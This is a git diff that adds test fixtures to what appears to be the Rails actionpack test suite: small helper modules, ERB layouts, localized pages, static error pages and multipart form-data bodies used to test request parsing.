diff --git a/actionpack/test/fixtures/helpers/abc_helper.rb b/actionpack/test/fixtures/helpers/abc_helper.rb
new file mode 100644
index 0000000000..999b9b5c6e
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/abc_helper.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+module AbcHelper
+  def bare_a() end
+end
diff --git a/actionpack/test/fixtures/helpers/fun/games_helper.rb b/actionpack/test/fixtures/helpers/fun/games_helper.rb
new file mode 100644
index 0000000000..8b325927f3
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/fun/games_helper.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Fun
+  module GamesHelper
+    def stratego() "Iz guuut!" end
+  end
+end
diff --git a/actionpack/test/fixtures/helpers/fun/pdf_helper.rb b/actionpack/test/fixtures/helpers/fun/pdf_helper.rb
new file mode 100644
index 0000000000..7ce6591de3
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/fun/pdf_helper.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Fun
+  module PdfHelper
+    def foobar() "baz" end
+  end
+end
diff --git a/actionpack/test/fixtures/helpers/just_me_helper.rb b/actionpack/test/fixtures/helpers/just_me_helper.rb
new file mode 100644
index 0000000000..bd977a22d9
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/just_me_helper.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+module JustMeHelper
+  def me() "mine!" end
+end
diff --git a/actionpack/test/fixtures/helpers/me_too_helper.rb b/actionpack/test/fixtures/helpers/me_too_helper.rb
new file mode 100644
index 0000000000..c6fc053dee
--- /dev/null
+++ b/actionpack/test/fixtures/helpers/me_too_helper.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+module MeTooHelper
+  def me() "me too!" end
+end
diff --git a/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb b/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb
new file mode 100644
index 0000000000..cf75b6875e
--- /dev/null
+++ b/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Pack1Helper
+  def conflicting_helper
+    "pack1"
+  end
+end
diff --git a/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb b/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb
new file mode 100644
index 0000000000..c8e51d40a2
--- /dev/null
+++ b/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Pack2Helper
+  def conflicting_helper
+    "pack2"
+  end
+end
diff --git a/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb b/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb
new file mode 100644
index 0000000000..0455e26b93
--- /dev/null
+++ b/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+module Admin
+  module UsersHelpeR
+  end
+end
diff --git a/actionpack/test/fixtures/implicit_render_test/empty_action_with_mobile_variant.html+mobile.erb b/actionpack/test/fixtures/implicit_render_test/empty_action_with_mobile_variant.html+mobile.erb
new file mode 100644
index 0000000000..ded99ba52d
--- /dev/null
+++ b/actionpack/test/fixtures/implicit_render_test/empty_action_with_mobile_variant.html+mobile.erb
@@ -0,0 +1 @@
+mobile
diff --git a/actionpack/test/fixtures/implicit_render_test/empty_action_with_template.html.erb b/actionpack/test/fixtures/implicit_render_test/empty_action_with_template.html.erb
new file mode 100644
index 0000000000..dd294f8cf6
--- /dev/null
+++ b/actionpack/test/fixtures/implicit_render_test/empty_action_with_template.html.erb
@@ -0,0 +1 @@
+<h1>Empty action rendered this implicitly.</h1>
diff --git a/actionpack/test/fixtures/layouts/_customers.erb b/actionpack/test/fixtures/layouts/_customers.erb
new file mode 100644
index 0000000000..ae63f13cd3
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/_customers.erb
@@ -0,0 +1 @@
+<title><%= yield Struct.new(:name).new("David") %></title>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/block_with_layout.erb b/actionpack/test/fixtures/layouts/block_with_layout.erb
new file mode 100644
index 0000000000..73ac833e52
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/block_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Anthony" }) do %>Inside from first block in layout<% "Return value should be discarded" %><% end %>
+<%= yield %>
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Ramm" }) do %>Inside from second block in layout<% end %>
diff --git a/actionpack/test/fixtures/layouts/builder.builder b/actionpack/test/fixtures/layouts/builder.builder
new file mode 100644
index 0000000000..c55488edd0
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/builder.builder
@@ -0,0 +1,3 @@
+xml.wrapper do
+  xml << yield
+end
diff --git a/actionpack/test/fixtures/layouts/partial_with_layout.erb b/actionpack/test/fixtures/layouts/partial_with_layout.erb
new file mode 100644
index 0000000000..a0349d731e
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/partial_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Anthony' } ) %>
+<%= yield %>
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Ramm' } ) %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/standard.html.erb b/actionpack/test/fixtures/layouts/standard.html.erb
new file mode 100644
index 0000000000..48882dca35
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/standard.html.erb
@@ -0,0 +1 @@
+<html><%= yield %><%= @variable_for_layout %></html>
diff --git a/actionpack/test/fixtures/layouts/talk_from_action.erb b/actionpack/test/fixtures/layouts/talk_from_action.erb
new file mode 100644
index 0000000000..bf53fdb785
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/talk_from_action.erb
@@ -0,0 +1,2 @@
+<title><%= @title || yield(:title) %></title>
+<%= yield -%>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/with_html_partial.html.erb b/actionpack/test/fixtures/layouts/with_html_partial.html.erb
new file mode 100644
index 0000000000..fd2896aeaa
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/with_html_partial.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "partial_only_html" %><%= yield %>
diff --git a/actionpack/test/fixtures/layouts/xhr.html.erb b/actionpack/test/fixtures/layouts/xhr.html.erb
new file mode 100644
index 0000000000..85285324ec
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/xhr.html.erb
@@ -0,0 +1,2 @@
+XHR!
+<%= yield %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/yield.erb b/actionpack/test/fixtures/layouts/yield.erb
new file mode 100644
index 0000000000..482dc9022e
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/yield.erb
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>
diff --git a/actionpack/test/fixtures/load_me.rb b/actionpack/test/fixtures/load_me.rb
new file mode 100644
index 0000000000..efafe6898f
--- /dev/null
+++ b/actionpack/test/fixtures/load_me.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class LoadMe
+end
diff --git a/actionpack/test/fixtures/localized/hello_world.de.html b/actionpack/test/fixtures/localized/hello_world.de.html
new file mode 100644
index 0000000000..a8fc612c60
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.de.html
@@ -0,0 +1 @@
+Guten Tag
\ No newline at end of file
diff --git a/actionpack/test/fixtures/localized/hello_world.en.html b/actionpack/test/fixtures/localized/hello_world.en.html
new file mode 100644
index 0000000000..5e1c309dae
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.en.html
@@ -0,0 +1 @@
+Hello World
\ No newline at end of file
diff --git a/actionpack/test/fixtures/localized/hello_world.it.erb b/actionpack/test/fixtures/localized/hello_world.it.erb
new file mode 100644
index 0000000000..9191fdc187
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.it.erb
@@ -0,0 +1 @@
+Ciao Mondo
\ No newline at end of file
diff --git a/actionpack/test/fixtures/multipart/binary_file b/actionpack/test/fixtures/multipart/binary_file
new file mode 100644
index 0000000000..556187ac1f
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/binary_file
diff --git a/actionpack/test/fixtures/multipart/boundary_problem_file b/actionpack/test/fixtures/multipart/boundary_problem_file
new file mode 100644
index 0000000000..889c4aabe3
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/boundary_problem_file
@@ -0,0 +1,10 @@
+--AaB03x

+Content-Disposition: form-data; name="file"; filename="file.txt"

+Content-Type: text/plain

+

+bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb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+--AaB03x

+Content-Disposition: form-data; name="foo"

+

+bar

+--AaB03x--

diff --git a/actionpack/test/fixtures/multipart/bracketed_param b/actionpack/test/fixtures/multipart/bracketed_param
new file mode 100644
index 0000000000..096bd8a192
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/bracketed_param
@@ -0,0 +1,5 @@
+--AaB03x

+Content-Disposition: form-data; name="foo[baz]"

+

+bar

+--AaB03x--

diff --git a/actionpack/test/fixtures/multipart/bracketed_utf8_param b/actionpack/test/fixtures/multipart/bracketed_utf8_param
new file mode 100644
index 0000000000..976ca44a45
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/bracketed_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x

+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name[Iñtërnâtiônàlizætiøn_nested_name]"

+

+Iñtërnâtiônàlizætiøn_value

+--AaB03x--

diff --git a/actionpack/test/fixtures/multipart/empty b/actionpack/test/fixtures/multipart/empty
new file mode 100644
index 0000000000..f0f79835c9
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/empty
@@ -0,0 +1,10 @@
+--AaB03x

+Content-Disposition: form-data; name="submit-name"

+

+Larry

+--AaB03x

+Content-Disposition: form-data; name="files"; filename="file1.txt"

+Content-Type: text/plain

+

+

+--AaB03x--

diff --git a/actionpack/test/fixtures/multipart/hello.txt b/actionpack/test/fixtures/multipart/hello.txt
new file mode 100644
index 0000000000..5ab2f8a432
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/hello.txt
@@ -0,0 +1 @@
+Hello
\ No newline at end of file
diff --git a/actionpack/test/fixtures/multipart/large_text_file b/actionpack/test/fixtures/multipart/large_text_file
new file mode 100644
index 0000000000..7f97fb1d79
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/large_text_file
@@ -0,0 +1,10 @@
+--AaB03x

+Content-Disposition: form-data; name="foo"

+

+bar

+--AaB03x

+Content-Disposition: form-data; name="file"; filename="file.txt"

+Content-Type: text/plain

+

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+--AaB03x--

diff --git a/actionpack/test/fixtures/multipart/mixed_files b/actionpack/test/fixtures/multipart/mixed_files
new file mode 100644
index 0000000000..5eba7a6b48
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/mixed_files
diff --git a/actionpack/test/fixtures/multipart/none b/actionpack/test/fixtures/multipart/none
new file mode 100644
index 0000000000..d66f4730f1
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/none
@@ -0,0 +1,9 @@
+--AaB03x

+Content-Disposition: form-data; name="submit-name"

+

+Larry

+--AaB03x

+Content-Disposition: form-data; name="files"; filename=""

+

+

+--AaB03x--

diff --git a/actionpack/test/fixtures/multipart/ruby_on_rails.jpg b/actionpack/test/fixtures/multipart/ruby_on_rails.jpg
new file mode 100644
index 0000000000..ed284ea0ba
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/ruby_on_rails.jpg
diff --git a/actionpack/test/fixtures/multipart/single_parameter b/actionpack/test/fixtures/multipart/single_parameter
new file mode 100644
index 0000000000..8962c35430
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/single_parameter
@@ -0,0 +1,5 @@
+--AaB03x

+Content-Disposition: form-data; name="foo"

+

+bar

+--AaB03x--

diff --git a/actionpack/test/fixtures/multipart/single_utf8_param b/actionpack/test/fixtures/multipart/single_utf8_param
new file mode 100644
index 0000000000..b86f62d1e1
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/single_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x

+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name"

+

+Iñtërnâtiônàlizætiøn_value

+--AaB03x--

diff --git a/actionpack/test/fixtures/multipart/text_file b/actionpack/test/fixtures/multipart/text_file
new file mode 100644
index 0000000000..e0367d68c0
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/text_file
@@ -0,0 +1,10 @@
+--AaB03x

+Content-Disposition: form-data; name="foo"

+

+bar

+--AaB03x

+Content-Disposition: form-data; name="file"; filename="file.txt"

+Content-Type: text/plain

+

+contents

+--AaB03x--

diff --git a/actionpack/test/fixtures/multipart/utf8_filename b/actionpack/test/fixtures/multipart/utf8_filename
new file mode 100644
index 0000000000..60738d53b0
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/utf8_filename
@@ -0,0 +1,10 @@
+--AaB03x

+Content-Disposition: form-data; name="foo"

+

+bar

+--AaB03x

+Content-Disposition: form-data; name="file"; filename="ファイル%名.txt"

+Content-Type: text/plain

+

+contents

+--AaB03x--

diff --git a/actionpack/test/fixtures/namespaced/implicit_render_test/hello_world.erb b/actionpack/test/fixtures/namespaced/implicit_render_test/hello_world.erb
new file mode 100644
index 0000000000..cd0875583a
--- /dev/null
+++ b/actionpack/test/fixtures/namespaced/implicit_render_test/hello_world.erb
@@ -0,0 +1 @@
+Hello world!
diff --git a/actionpack/test/fixtures/old_content_type/render_default_content_types_for_respond_to.xml.erb b/actionpack/test/fixtures/old_content_type/render_default_content_types_for_respond_to.xml.erb
new file mode 100644
index 0000000000..25dc746886
--- /dev/null
+++ b/actionpack/test/fixtures/old_content_type/render_default_content_types_for_respond_to.xml.erb
@@ -0,0 +1 @@
+<hello>world</hello>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder b/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder
new file mode 100644
index 0000000000..15c8a7f5cf
--- /dev/null
+++ b/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder
@@ -0,0 +1 @@
+xml.p "Hello world!"
diff --git a/actionpack/test/fixtures/old_content_type/render_default_for_erb.erb b/actionpack/test/fixtures/old_content_type/render_default_for_erb.erb
new file mode 100644
index 0000000000..c7926d48bb
--- /dev/null
+++ b/actionpack/test/fixtures/old_content_type/render_default_for_erb.erb
@@ -0,0 +1 @@
+<%= 'hello world!' %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/layouts/post.html.erb b/actionpack/test/fixtures/post_test/layouts/post.html.erb
new file mode 100644
index 0000000000..c6c1a586dd
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/layouts/post.html.erb
@@ -0,0 +1 @@
+<html><div id="html"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/layouts/super_post.iphone.erb b/actionpack/test/fixtures/post_test/layouts/super_post.iphone.erb
new file mode 100644
index 0000000000..db0e43694d
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/layouts/super_post.iphone.erb
@@ -0,0 +1 @@
+<html><div id="super_iphone"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/post/index.html.erb b/actionpack/test/fixtures/post_test/post/index.html.erb
new file mode 100644
index 0000000000..b349b25618
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/post/index.html.erb
@@ -0,0 +1 @@
+Hello Firefox
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/post/index.iphone.erb b/actionpack/test/fixtures/post_test/post/index.iphone.erb
new file mode 100644
index 0000000000..d741e44351
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/post/index.iphone.erb
@@ -0,0 +1 @@
+Hello iPhone
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/super_post/index.html.erb b/actionpack/test/fixtures/post_test/super_post/index.html.erb
new file mode 100644
index 0000000000..7fc2eb190a
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/super_post/index.html.erb
@@ -0,0 +1 @@
+Super Firefox
\ No newline at end of file
diff --git a/actionpack/test/fixtures/post_test/super_post/index.iphone.erb b/actionpack/test/fixtures/post_test/super_post/index.iphone.erb
new file mode 100644
index 0000000000..99063a8d8c
--- /dev/null
+++ b/actionpack/test/fixtures/post_test/super_post/index.iphone.erb
@@ -0,0 +1 @@
+Super iPhone
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/400.html b/actionpack/test/fixtures/public/400.html
new file mode 100644
index 0000000000..03be6bedaf
--- /dev/null
+++ b/actionpack/test/fixtures/public/400.html
@@ -0,0 +1 @@
+400 error fixture
diff --git a/actionpack/test/fixtures/public/404.html b/actionpack/test/fixtures/public/404.html
new file mode 100644
index 0000000000..497397ccea
--- /dev/null
+++ b/actionpack/test/fixtures/public/404.html
@@ -0,0 +1 @@
+404 error fixture
diff --git a/actionpack/test/fixtures/public/500.da.html b/actionpack/test/fixtures/public/500.da.html
new file mode 100644
index 0000000000..a497c13656
--- /dev/null
+++ b/actionpack/test/fixtures/public/500.da.html
@@ -0,0 +1 @@
+500 localized error fixture
diff --git a/actionpack/test/fixtures/public/500.html b/actionpack/test/fixtures/public/500.html
new file mode 100644
index 0000000000..7c66c7a943
--- /dev/null
+++ b/actionpack/test/fixtures/public/500.html
@@ -0,0 +1 @@
+500 error fixture
diff --git a/actionpack/test/fixtures/public/bar.html b/actionpack/test/fixtures/public/bar.html
new file mode 100644
index 0000000000..67fc57079b
--- /dev/null
+++ b/actionpack/test/fixtures/public/bar.html
@@ -0,0 +1 @@
+/bar.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/bar/index.html b/actionpack/test/fixtures/public/bar/index.html
new file mode 100644
index 0000000000..d5bb8f898d
--- /dev/null
+++ b/actionpack/test/fixtures/public/bar/index.html
@@ -0,0 +1 @@
+/bar/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/foo/bar.html b/actionpack/test/fixtures/public/foo/bar.html
new file mode 100644
index 0000000000..9a35646205
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/bar.html
@@ -0,0 +1 @@
+/foo/bar.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/foo/baz.css b/actionpack/test/fixtures/public/foo/baz.css
new file mode 100644
index 0000000000..b5173fbef2
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/public/foo/index.html b/actionpack/test/fixtures/public/foo/index.html
new file mode 100644
index 0000000000..497a2e898f
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/index.html
@@ -0,0 +1 @@
+/foo/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/foo/other-index.html b/actionpack/test/fixtures/public/foo/other-index.html
new file mode 100644
index 0000000000..51c90c26ea
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/other-index.html
@@ -0,0 +1 @@
+/foo/other-index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/foo/こんにちは.html b/actionpack/test/fixtures/public/foo/こんにちは.html
new file mode 100644
index 0000000000..1df9166522
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/こんにちは.html
@@ -0,0 +1 @@
+means hello in Japanese
diff --git a/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js b/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js
new file mode 100644
index 0000000000..1826a7660e
--- /dev/null
+++ b/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js
@@ -0,0 +1,4 @@
